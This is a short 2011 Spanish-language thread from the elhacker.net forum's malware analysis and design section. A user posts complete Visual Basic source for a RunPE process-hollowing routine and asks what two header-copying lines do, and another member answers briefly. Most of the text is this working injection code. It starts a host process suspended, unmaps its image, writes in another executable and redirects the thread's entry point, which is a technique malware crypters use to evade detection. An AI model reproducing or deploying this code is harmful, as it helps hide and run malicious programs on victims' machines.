Foro de elhacker.net

Seguridad Informática => Análisis y Diseño de Malware => Mensaje iniciado por: [Kayser] en 10 Diciembre 2011, 12:47 pm



Título: Duda RunPE
Publicado por: [Kayser] en 10 Diciembre 2011, 12:47 pm
Código:
Public Sub Injec(ByVal sHost As String, ByRef bvBuff() As Byte, parameter As String)
Dim i As Long
Dim Pidh As IMAGE_DOS_HEADER
Dim Pinh As IMAGE_NT_HEADERS
Dim Pish As IMAGE_SECTION_HEADER
Dim Si As STARTUPINFO
Dim Pi As PROCESS_INFORMATION
Dim Ctx As CONTEXT

Si.cb = Len(Si)

RtlMoveMemory Pidh, bvBuff(0), 64
RtlMoveMemory Pinh, bvBuff(Pidh.e_lfanew), 248

CreateProcessA sHost, " " & parameter, 0, 0, False, CREATE_SUSPENDED, 0, 0, Si, Pi
CallAPI "ntdll", "NtUnmapViewOfSection", Pi.hProcess, Pinh.OptionalHeader.ImageBase
CallAPI "kernel32", "VirtualAllocEx", Pi.hProcess, Pinh.OptionalHeader.ImageBase, Pinh.OptionalHeader.SizeOfImage, MEM_COMMIT Or MEM_RESERVE, PAGE_EXECUTE_READWRITE
WriteProcessMemory Pi.hProcess, ByVal Pinh.OptionalHeader.ImageBase, bvBuff(0), Pinh.OptionalHeader.SizeOfHeaders, 0

For i = 0 To Pinh.FileHeader.NumberOfSections - 1
RtlMoveMemory Pish, bvBuff(Pidh.e_lfanew + 248 + 40 * i), Len(Pish)
WriteProcessMemory Pi.hProcess, ByVal Pinh.OptionalHeader.ImageBase + Pish.VirtualAddress, bvBuff(Pish.PointerToRawData), Pish.SizeOfRawData, 0
Next i

Ctx.ContextFlags = CONTEXT_FULL
CallAPI "kernel32", "GetThreadContext", Pi.hThread, VarPtr(Ctx)
WriteProcessMemory Pi.hProcess, ByVal Ctx.Ebx + 8, Pinh.OptionalHeader.ImageBase, 4, 0
Ctx.Eax = Pinh.OptionalHeader.ImageBase + Pinh.OptionalHeader.AddressOfEntryPoint
CallAPI "kernel32", "SetThreadContext", Pi.hThread, VarPtr(Ctx)
CallAPI "kernel32", "ResumeThread", Pi.hThread
End Sub

Buenas estoy estudiando este codigo de un RunPE... Alguien me puede decir que hacen estas instrucciones

RtlMoveMemory Pidh, bvBuff(0), 64
RtlMoveMemory Pinh, bvBuff(Pidh.e_lfanew), 248

La primera toma los primeros 64 bytes del archivo que  coinciden con su cabecera IMAGE_DOS_HEADER no? Y la segunda copia los primeros 248 bytes a partir de la cabecera IMAGE_DOS_HEADER e_lfanew que coincide con la cabecera IMAGE_NT_HEADERS no?


Título: Re: Duda RunPE
Publicado por: fary en 10 Diciembre 2011, 13:26 pm
Estan rellenando las estructuras IMAGE_DOS_HEADER y IMAGE_NT_HEADERS, mira que es lo que hace la api RtlMoveMemory.



Título: Re: Duda RunPE
Publicado por: [Kayser] en 10 Diciembre 2011, 13:34 pm
Asi pues es correcto lo que he dicho no? Para rellenar IMAGE_DOS_HEADER copia los primeros 64 bytes del ejecutable que coinciden con al estructura IMAGE_DOS_HEADER y para rellenar IMAGE_NT_HEADERS copia los siguientes 248 bytes a la estructura IMAGE_DOS_HEADER e_lfanew no?